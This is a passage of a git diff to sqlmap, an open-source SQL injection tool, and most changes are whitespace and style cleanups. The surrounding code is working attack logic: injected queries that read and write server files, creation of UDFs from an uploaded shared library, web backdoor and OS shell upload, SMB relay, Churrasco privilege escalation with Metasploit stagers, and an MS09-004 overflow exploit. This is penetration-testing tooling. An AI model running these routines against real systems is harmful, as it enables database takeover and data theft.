- self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
+ self.createSupportTbl(self.fileTblName, self.tblField, "bytea")
logger.debug("loading the content of file '%s' into support table" % rFile)
- inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
+ inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, rFile))
if kb.unionPosition:
result = inject.getValue("SELECT ENCODE(%s, 'base64') FROM %s" % (self.tblField, self.fileTblName), unpack=False, resumeValue=False, sort=False)
@@ -345,13 +335,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
return result
-
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
errMsg = "PostgreSQL does not support file upload with UNION "
errMsg += "query SQL injection technique"
raise sqlmapUnsupportedFeatureException, errMsg
-
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
wFileSize = os.path.getsize(wFile)
@@ -364,11 +352,11 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
debugMsg = "creating a support table to write the base64 "
debugMsg += "encoded file to"
- logger.debug(debugMsg)
+ logger.debug(debugMsg)
- self.createSupportTbl(self.fileTblName, self.tblField, "text")
+ self.createSupportTbl(self.fileTblName, self.tblField, "text")
- logger.debug("encoding file to its base64 string value")
+ logger.debug("encoding file to its base64 string value")
fcEncodedList = self.fileEncode(wFile, "base64", False)
debugMsg = "forging SQL statements to write the base64 "
@@ -378,7 +366,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
sqlQueries = self.fileToSqlQueries(fcEncodedList)
logger.debug("inserting the base64 encoded file to the support table")
-
+
for sqlQuery in sqlQueries:
inject.goStacked(sqlQuery)
@@ -388,9 +376,9 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# References:
# http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
- # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
- inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
- inject.goStacked("SELECT lo_create(%d)" % self.oid)
+ # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
+ inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
+ inject.goStacked("SELECT lo_create(%d)" % self.oid)
debugMsg = "updating the system large objects table assigning to "
debugMsg += "the just created OID the binary (base64 decoded) UDF "
@@ -409,7 +397,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
#
# As a matter of facts it was possible to store correctly a file
# large 13776 bytes, the problem arises at next step (lo_export())
- inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
+ inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid))
debugMsg = "exporting the OID %s file content to " % fileType
debugMsg += "file '%s'" % dFile
@@ -419,14 +407,13 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# (pg_largeobject 'data' field)
inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True)
- if confirm == True:
+ if confirm:
self.askCheckWrittenFile(wFile, dFile, fileType)
- inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
-
+ inject.goStacked("SELECT lo_unlink(%d)" % self.oid)
def udfSetRemotePath(self):
- # On Windows
+ # On Windows
if kb.os == "Windows":
# The DLL can be in any folder where postgres user has
# read/write/execute access is valid
@@ -441,23 +428,21 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
# read/write/execute access is valid
self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
-
def udfCreateFromSharedLib(self, udf, inpRet):
- if udf in self.udfToCreate:
+ if udf in self.udfToCreate:
logger.info("creating UDF '%s' from the binary UDF file" % udf)
inp = ", ".join(i for i in inpRet["input"])
ret = inpRet["return"]
# Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html
- inject.goStacked("DROP FUNCTION %s" % udf)
- inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
+ inject.goStacked("DROP FUNCTION %s" % udf)
+ inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf))
self.createdUdf.add(udf)
else:
logger.debug("keeping existing UDF '%s' as requested" % udf)
-
def udfInjectCmd(self):
self.udfLocalFile = paths.SQLMAP_UDF_PATH
self.udfSharedLibName = "libsqlmapudf%s" % randomStr(lowercase=True)
@@ -481,8 +466,7 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
self.udfInjectCore(self.sysUdfs)
self.envInitialized = True
-
def uncPathRequest(self):
- self.createSupportTbl(self.fileTblName, self.tblField, "text")
+ self.createSupportTbl(self.fileTblName, self.tblField, "text")
inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True)
self.cleanup(onlyFileTbl=True)
diff --git a/plugins/generic/enumeration.py b/plugins/generic/enumeration.py
index 20c840953..7f4ff1d41 100644
--- a/plugins/generic/enumeration.py
+++ b/plugins/generic/enumeration.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import re
from lib.core.agent import agent
@@ -49,7 +47,6 @@ from lib.request import inject
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
-
class Enumeration:
"""
This class defines generic enumeration functionalities for plugins.
@@ -71,11 +68,9 @@ class Enumeration:
temp.inference = queries[dbms].inference
-
def forceDbmsEnum(self):
pass
-
def getVersionFromBanner(self):
if "dbmsVersion" in kb.bannerFp:
return
@@ -100,7 +95,6 @@ class Enumeration:
kb.bannerFp["dbmsVersion"] = inject.getValue(query, unpack=False)
kb.bannerFp["dbmsVersion"] = kb.bannerFp["dbmsVersion"].replace(",", "").replace("-", "").replace(" ", "")
-
def getBanner(self):
if not conf.getBanner:
return
@@ -131,7 +125,6 @@ class Enumeration:
return kb.data.banner
-
def getCurrentUser(self):
infoMsg = "fetching current user"
logger.info(infoMsg)
@@ -143,7 +136,6 @@ class Enumeration:
return kb.data.currentUser
-
def getCurrentDb(self):
infoMsg = "fetching current database"
logger.info(infoMsg)
@@ -155,7 +147,6 @@ class Enumeration:
return kb.data.currentDb
-
def isDba(self):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
@@ -166,7 +157,6 @@ class Enumeration:
return kb.data.isDba == "1"
-
def getUsers(self):
infoMsg = "fetching database users"
logger.info(infoMsg)
@@ -218,7 +208,6 @@ class Enumeration:
return kb.data.cachedUsers
-
def getPasswordHashes(self):
infoMsg = "fetching database users password hashes"
@@ -340,7 +329,6 @@ class Enumeration:
return kb.data.cachedUsersPasswords
-
def __isAdminFromPrivileges(self, privileges):
# In PostgreSQL the usesuper privilege means that the
# user is DBA
@@ -360,7 +348,6 @@ class Enumeration:
return dbaCondition
-
def getPrivileges(self):
infoMsg = "fetching database users privileges"
@@ -627,7 +614,6 @@ class Enumeration:
return ( kb.data.cachedUsersPrivileges, areAdmins )
-
def getDbs(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
warnMsg = "information_schema not available, "
@@ -682,7 +668,6 @@ class Enumeration:
return kb.data.cachedDbs
-
def getTables(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
@@ -777,7 +762,6 @@ class Enumeration:
return kb.data.cachedTables
-
def getColumns(self, onlyColNames=False):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
@@ -897,7 +881,6 @@ class Enumeration:
return kb.data.cachedColumns
-
def dumpTable(self):
if not conf.tbl:
errMsg = "missing table parameter"
@@ -1067,7 +1050,6 @@ class Enumeration:
return kb.data.dumpedTable
-
def dumpAll(self):
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
errMsg = "information_schema not available, "
@@ -1093,7 +1075,6 @@ class Enumeration:
if data:
dumper.dbTableValues(data)
-
def sqlQuery(self, query):
output = None
sqlType = None
@@ -1119,10 +1100,10 @@ class Enumeration:
else:
query = urlencode(query, convall=True)
- if kb.stackedTest == None:
+ if kb.stackedTest is None:
stackedTest()
- if kb.stackedTest == False:
+ if not kb.stackedTest:
return None
else:
if sqlType:
@@ -1140,7 +1121,6 @@ class Enumeration:
return output
-
def sqlShell(self):
infoMsg = "calling %s shell. To quit type " % kb.dbms
infoMsg += "'x' or 'q' and press ENTER"
@@ -1174,7 +1154,7 @@ class Enumeration:
if output and output != "Quit":
dumper.string(query, output)
- elif output == False:
+ elif not output:
pass
elif output != "Quit":
diff --git a/plugins/generic/filesystem.py b/plugins/generic/filesystem.py
index f130573b7..0d3677fa0 100644
--- a/plugins/generic/filesystem.py
+++ b/plugins/generic/filesystem.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import binascii
import os
@@ -46,13 +44,11 @@ class Filesystem:
self.fileTblName = "sqlmapfile"
self.tblField = "data"
-
def __unbase64String(self, base64Str):
unbase64Str = "%s\n" % base64Str.decode("base64")
return unbase64Str
-
def __unhexString(self, hexStr):
if len(hexStr) % 2 != 0:
errMsg = "for some reasons sqlmap retrieved an odd-length "
@@ -64,7 +60,6 @@ class Filesystem:
return binascii.unhexlify(hexStr)
-
def __binDataToScr(self, binaryData, chunkName):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
@@ -101,7 +96,6 @@ class Filesystem:
return fileLines
-
def __checkWrittenFile(self, wFile, dFile, fileType):
if kb.dbms == "MySQL":
lengthQuery = "SELECT LENGTH(LOAD_FILE('%s'))" % dFile
@@ -110,10 +104,10 @@ class Filesystem:
lengthQuery = "SELECT LENGTH(data) FROM pg_largeobject WHERE loid=%d" % self.oid
elif kb.dbms == "Microsoft SQL Server":
- self.createSupportTbl(self.fileTblName, self.tblField, "text")
+ self.createSupportTbl(self.fileTblName, self.tblField, "text")
# Reference: http://msdn.microsoft.com/en-us/library/ms188365.aspx
- inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
+ inject.goStacked("BULK INSERT %s FROM '%s' WITH (CODEPAGE='RAW', FIELDTERMINATOR='%s', ROWTERMINATOR='%s')" % (self.fileTblName, dFile, randomStr(10), randomStr(10)))
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
@@ -141,7 +135,6 @@ class Filesystem:
warnMsg += "privileges in the destination path"
logger.warn(warnMsg)
-
def fileToSqlQueries(self, fcEncodedList):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
@@ -162,7 +155,6 @@ class Filesystem:
return sqlQueries
-
def fileEncode(self, fileName, encoding, single):
"""
Called by MySQL and PostgreSQL plugins to write a file on the
@@ -170,10 +162,10 @@ class Filesystem:
"""
fcEncodedList = []
- fp = open(fileName, "rb")
+ fp = open(fileName, "rb")
fcEncodedStr = fp.read().encode(encoding).replace("\n", "")
- if single == False:
+ if not single:
fcLength = len(fcEncodedStr)
if fcLength > 1024:
@@ -200,7 +192,6 @@ class Filesystem:
return fcEncodedList
-
def updateBinChunk(self, binaryData, tmpPath):
"""
Called by Microsoft SQL Server plugin to write a binary file on the
@@ -250,17 +241,15 @@ class Filesystem:
return chunkName
-
def askCheckWrittenFile(self, wFile, dFile, fileType):
- message = "do you want confirmation that the file '%s' " % dFile
- message += "has been successfully written on the back-end DBMS "
+ message = "do you want confirmation that the file '%s' " % dFile
+ message += "has been successfully written on the back-end DBMS "
message += "file system? [Y/n] "
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
self.__checkWrittenFile(wFile, dFile, fileType)
-
def readFile(self, rFile):
fileContent = None
@@ -268,7 +257,7 @@ class Filesystem:
self.checkDbmsOs()
- if kb.stackedTest == False:
+ if not kb.stackedTest:
debugMsg = "going to read the file with UNION query SQL "
debugMsg += "injection technique"
logger.debug(debugMsg)
@@ -308,13 +297,12 @@ class Filesystem:
return rFilePath
-
def writeFile(self, wFile, dFile, fileType=None, confirm=True):
stackedTest()
self.checkDbmsOs()
- if kb.stackedTest == False:
+ if not kb.stackedTest:
debugMsg = "going to upload the %s file with " % fileType
debugMsg += "UNION query SQL injection technique"
logger.debug(debugMsg)
diff --git a/plugins/generic/fingerprint.py b/plugins/generic/fingerprint.py
index cbd62c05d..d861031f3 100644
--- a/plugins/generic/fingerprint.py
+++ b/plugins/generic/fingerprint.py
@@ -22,11 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
from lib.core.exception import sqlmapUndefinedMethod
-
class Fingerprint:
"""
This class defines generic fingerprint functionalities for plugins.
@@ -38,20 +35,17 @@ class Fingerprint:
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
-
@staticmethod
def escape(expression):
errMsg = "'escape' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
-
def getFingerprint(self):
errMsg = "'getFingerprint' method must be defined "
errMsg += "into the specific DBMS plugin"
raise sqlmapUndefinedMethod, errMsg
-
def checkDbms(self):
errMsg = "'checkDbms' method must be defined "
errMsg += "into the specific DBMS plugin"
diff --git a/plugins/generic/misc.py b/plugins/generic/misc.py
index e7c2d9509..f461651da 100644
--- a/plugins/generic/misc.py
+++ b/plugins/generic/misc.py
@@ -22,10 +22,8 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
-import re
import os
+import re
from lib.core.common import readInput
from lib.core.data import conf
@@ -72,12 +70,11 @@ class Miscellaneous:
setRemoteTempPath()
-
def delRemoteFile(self, tempFile, doubleslash=False):
self.checkDbmsOs()
if kb.os == "Windows":
- if doubleslash is True:
+ if doubleslash:
tempFile = tempFile.replace("/", "\\\\")
else:
tempFile = tempFile.replace("/", "\\")
@@ -88,11 +85,9 @@ class Miscellaneous:
self.execCmd(cmd, forgeCmd=True)
-
- def createSupportTbl(self, tblName, tblField, tblType):
- inject.goStacked("DROP TABLE %s" % tblName)
- inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
-
+ def createSupportTbl(self, tblName, tblField, tblType):
+ inject.goStacked("DROP TABLE %s" % tblName)
+ inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
def cleanup(self, onlyFileTbl=False, udfDict=None):
"""
@@ -101,7 +96,7 @@ class Miscellaneous:
stackedTest()
- if kb.stackedTest == False:
+ if not kb.stackedTest:
return
if kb.os == "Windows":
@@ -113,16 +108,16 @@ class Miscellaneous:
else:
libtype = "shared library"
- if onlyFileTbl == True:
+ if onlyFileTbl:
logger.debug("cleaning up the database management system")
else:
logger.info("cleaning up the database management system")
- logger.debug("removing support tables")
- inject.goStacked("DROP TABLE %s" % self.fileTblName)
+ logger.debug("removing support tables")
+ inject.goStacked("DROP TABLE %s" % self.fileTblName)
- if onlyFileTbl == False:
- inject.goStacked("DROP TABLE %s" % self.cmdTblName)
+ if not onlyFileTbl:
+ inject.goStacked("DROP TABLE %s" % self.cmdTblName)
if kb.dbms == "Microsoft SQL Server":
return
@@ -131,7 +126,7 @@ class Miscellaneous:
udfDict = self.sysUdfs
for udf, inpRet in udfDict.items():
- message = "do you want to remove UDF '%s'? [Y/n] " % udf
+ message = "do you want to remove UDF '%s'? [Y/n] " % udf
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
@@ -141,8 +136,8 @@ class Miscellaneous:
inp = ", ".join(i for i in inpRet["input"])
dropStr += "(%s)" % inp
- logger.debug("removing UDF '%s'" % udf)
- inject.goStacked(dropStr)
+ logger.debug("removing UDF '%s'" % udf)
+ inject.goStacked(dropStr)
logger.info("database management system cleanup finished")
@@ -153,5 +148,5 @@ class Miscellaneous:
warnMsg += "folder "
warnMsg += "saved on the file system can only be deleted "
- warnMsg += "manually"
+ warnMsg += "manually"
logger.warn(warnMsg)
diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py
index 42a3321e2..3af05252a 100644
--- a/plugins/generic/takeover.py
+++ b/plugins/generic/takeover.py
@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
import re
@@ -59,7 +57,6 @@ class Takeover(Abstraction, Metasploit, Registry):
Abstraction.__init__(self)
-
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
output = None
@@ -77,7 +74,6 @@ class Takeover(Abstraction, Metasploit, Registry):
return output
-
def __webBackdoorShell(self, backdoorUrl):
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
@@ -106,8 +102,7 @@ class Takeover(Abstraction, Metasploit, Registry):
if command.lower() in ( "x", "q", "exit", "quit" ):
break
- self.__webBackdoorRunCmd(backdoorUrl, command)
-
+ self.__webBackdoorRunCmd(backdoorUrl, command)
def __webBackdoorInit(self):
"""
@@ -138,23 +133,16 @@ class Takeover(Abstraction, Metasploit, Registry):
if not choice or choice == "2":
language = "php"
-
break
elif choice == "1":
language = "asp"
-
break
elif choice == "3":
- # TODO: add also JSP backdoor/uploader support
errMsg = "JSP web backdoor functionality is not yet "
errMsg += "implemented"
- raise sqlmapUnsupportedDBMSException, errMsg
-
- #language = "jsp"
-
- #break
+ raise sqlmapUnsupportedDBMSException(errMsg)
elif not choice.isdigit():
logger.warn("invalid value, only digits are allowed")
@@ -226,7 +214,6 @@ class Takeover(Abstraction, Metasploit, Registry):
continue
elif language == "jsp":
- # TODO: add also JSP backdoor/uploader support
pass
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
@@ -240,7 +227,6 @@ class Takeover(Abstraction, Metasploit, Registry):
return backdoorUrl
-
def uploadChurrasco(self):
msg = "do you want sqlmap to upload Churrasco and call the "
msg += "Metasploit payload stager as its argument so that it "
@@ -249,7 +235,6 @@ class Takeover(Abstraction, Metasploit, Registry):
output = readInput(msg, default="Y")
if not output or output[0] in ( "y", "Y" ):
- # TODO: add also compiled/packed Churrasco for Windows 2008
wFile = os.path.join(paths.SQLMAP_CONTRIB_PATH, "tokenkidnapping", "Churrasco.exe")
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
@@ -261,11 +246,10 @@ class Takeover(Abstraction, Metasploit, Registry):
else:
return False
-
def osCmd(self):
stackedTest()
- if kb.stackedTest == False:
+ if not kb.stackedTest:
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
@@ -278,11 +262,10 @@ class Takeover(Abstraction, Metasploit, Registry):
self.initEnv()
self.runCmd(conf.osCmd)
-
def osShell(self):
stackedTest()
- if kb.stackedTest == False:
+ if not kb.stackedTest:
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
@@ -295,11 +278,10 @@ class Takeover(Abstraction, Metasploit, Registry):
self.initEnv()
self.absOsShell()
-
def osPwn(self):
stackedTest()
- if kb.stackedTest == False:
+ if not kb.stackedTest:
return
self.initEnv()
@@ -330,7 +312,7 @@ class Takeover(Abstraction, Metasploit, Registry):
if choice == 1:
goUdf = True
- if goUdf is True:
+ if goUdf:
self.createMsfShellcode(exitfunc="thread", format="raw", extra="BufferRegister=EAX", encode="x86/alpha_mixed")
else:
self.createMsfPayloadStager()
@@ -359,7 +341,7 @@ class Takeover(Abstraction, Metasploit, Registry):
uploaded = self.uploadChurrasco()
- if uploaded == False:
+ if not uploaded:
warnMsg = "beware that the privilege escalation "
warnMsg += "might not work"
logger.warn(warnMsg)
@@ -371,7 +353,6 @@ class Takeover(Abstraction, Metasploit, Registry):
self.pwn(goUdf)
-
def osSmb(self):
stackedTest()
@@ -381,14 +362,14 @@ class Takeover(Abstraction, Metasploit, Registry):
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows: it is not possible to perform the SMB "
errMsg += "relay attack"
- raise sqlmapUnsupportedDBMSException, errMsg
+ raise sqlmapUnsupportedDBMSException(errMsg)
- if kb.stackedTest == False:
+ if not kb.stackedTest:
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
errMsg = "on this back-end DBMS it is only possible to "
errMsg += "perform the SMB relay attack if stacked "
errMsg += "queries are supported"
- raise sqlmapUnsupportedDBMSException, errMsg
+ raise sqlmapUnsupportedDBMSException(errMsg)
elif kb.dbms == "MySQL":
debugMsg = "since stacked queries are not supported, "
@@ -419,16 +400,15 @@ class Takeover(Abstraction, Metasploit, Registry):
else:
printWarn = False
- if printWarn == True:
+ if printWarn:
logger.warn(warnMsg)
self.smb()
-
def osBof(self):
stackedTest()
- if kb.stackedTest == False:
+ if not kb.stackedTest:
return
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
@@ -436,7 +416,7 @@ class Takeover(Abstraction, Metasploit, Registry):
errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
errMsg += "stored procedure (MS09-004)"
- raise sqlmapUnsupportedDBMSException, errMsg
+ raise sqlmapUnsupportedDBMSException(errMsg)
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
@@ -448,11 +428,10 @@ class Takeover(Abstraction, Metasploit, Registry):
self.createMsfShellcode(exitfunc="seh", format="raw", extra="-b 27", encode=True)
self.bof()
-
def __regInit(self):
stackedTest()
- if kb.stackedTest == False:
+ if not kb.stackedTest:
return
self.checkDbmsOs()
@@ -460,12 +439,11 @@ class Takeover(Abstraction, Metasploit, Registry):
if kb.os != "Windows":
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows"
- raise sqlmapUnsupportedDBMSException, errMsg
+ raise sqlmapUnsupportedDBMSException(errMsg)
self.initEnv()
self.getRemoteTempPath()
-
def regRead(self):
self.__regInit()
@@ -488,7 +466,6 @@ class Takeover(Abstraction, Metasploit, Registry):
return self.readRegKey(regKey, regVal, False)
-
def regAdd(self):
self.__regInit()
@@ -499,7 +476,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regKey = readInput(msg)
if not regKey:
- raise sqlmapMissingMandatoryOptionException, errMsg
+ raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regKey = conf.regKey
@@ -508,7 +485,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regVal = readInput(msg)
if not regVal:
- raise sqlmapMissingMandatoryOptionException, errMsg
+ raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regVal = conf.regVal
@@ -517,7 +494,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regData = readInput(msg)
if not regData:
- raise sqlmapMissingMandatoryOptionException, errMsg
+ raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regData = conf.regData
@@ -537,7 +514,6 @@ class Takeover(Abstraction, Metasploit, Registry):
self.addRegKey(regKey, regVal, regType, regData)
-
def regDel(self):
self.__regInit()
@@ -548,7 +524,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regKey = readInput(msg)
if not regKey:
- raise sqlmapMissingMandatoryOptionException, errMsg
+ raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regKey = conf.regKey
@@ -557,7 +533,7 @@ class Takeover(Abstraction, Metasploit, Registry):
regVal = readInput(msg)
if not regVal:
- raise sqlmapMissingMandatoryOptionException, errMsg
+ raise sqlmapMissingMandatoryOptionException(errMsg)
else:
regVal = conf.regVal
diff --git a/sqlmap.conf b/sqlmap.conf
index 46298aa49..a54abfc11 100644
--- a/sqlmap.conf
+++ b/sqlmap.conf
@@ -32,9 +32,9 @@ data =
# HTTP Cookie header.
cookie =
-# HTTP Referer header. Useful to fake the HTTP Referer header value at
-# each HTTP request.
-referer =
+# Ignore Set-Cookie header from response
+# Valid: True or False
+dropSetCookie = False
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
# at each HTTP request
@@ -45,6 +45,10 @@ agent =
# Example: ./txt/user-agents.txt
userAgentsFile =
+# HTTP Referer header. Useful to fake the HTTP Referer header value at
+# each HTTP request.
+referer =
+
# Extra HTTP headers
# Note: There must be a space at the beginning of each header line.
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
@@ -372,11 +376,31 @@ regType =
[Miscellaneous]
+# Save and resume all data retrieved on a session file.
+sessionFile =
+
# Retrieve each query output length and calculate the estimated time of
# arrival in real time.
# Valid: True or False
eta = False
+# Use google dork results from specified page number
+# Valid: integer
+# Default: 1
+googlePage = 1
+
+# Update sqlmap to the latest stable version.
+# Valid: True or False
+updateAll = False
+
+# Never ask for user input, use the default behaviour.
+# Valid: True or False
+batch = False
+
+# Clean up the DBMS by sqlmap specific UDF and tables
+# Valid: True or False
+cleanup = False
+
# Verbosity level.
# Valid: integer between 0 and 5
# 0: Show only warning and error messages
@@ -386,19 +410,4 @@ eta = False
# 4: Show also HTTP responses headers
# 5: Show also HTTP responses page content
# Default: 1
-verbose = 1
-
-# Update sqlmap to the latest stable version.
-# Valid: True or False
-updateAll = False
-
-# Save and resume all data retrieved on a session file.
-sessionFile =
-
-# Never ask for user input, use the default behaviour.
-# Valid: True or False
-batch = False
-
-# Clean up the DBMS by sqlmap specific UDF and tables
-# Valid: True or False
-cleanup = False
+verbose = 1
\ No newline at end of file
diff --git a/sqlmap.py b/sqlmap.py
index 923ef678e..129dc56b9 100755
--- a/sqlmap.py
+++ b/sqlmap.py
@@ -22,15 +22,13 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
-
-
import os
import sys
import time
import traceback
import warnings
-warnings.filterwarnings(action="ignore", message=".*(md5|sha) module is deprecated", category=DeprecationWarning)
+warnings.filterwarnings(action = "ignore", message = ".*(md5|sha) module is deprecated", category = DeprecationWarning)
try:
import psyco
@@ -51,7 +49,6 @@ from lib.core.exception import unhandledException
from lib.core.option import init
from lib.parse.cmdline import cmdLineParser
-
def modulePath():
"""
This will get us the program's directory, even if we are frozen
@@ -63,7 +60,6 @@ def modulePath():
else:
return os.path.dirname(os.path.realpath(__file__))
-
def main():
"""
Main function of sqlmap when running from command line.
@@ -103,6 +99,5 @@ def main():
print "\n[*] shutting down at: %s\n" % time.strftime("%X")
-
if __name__ == "__main__":
main()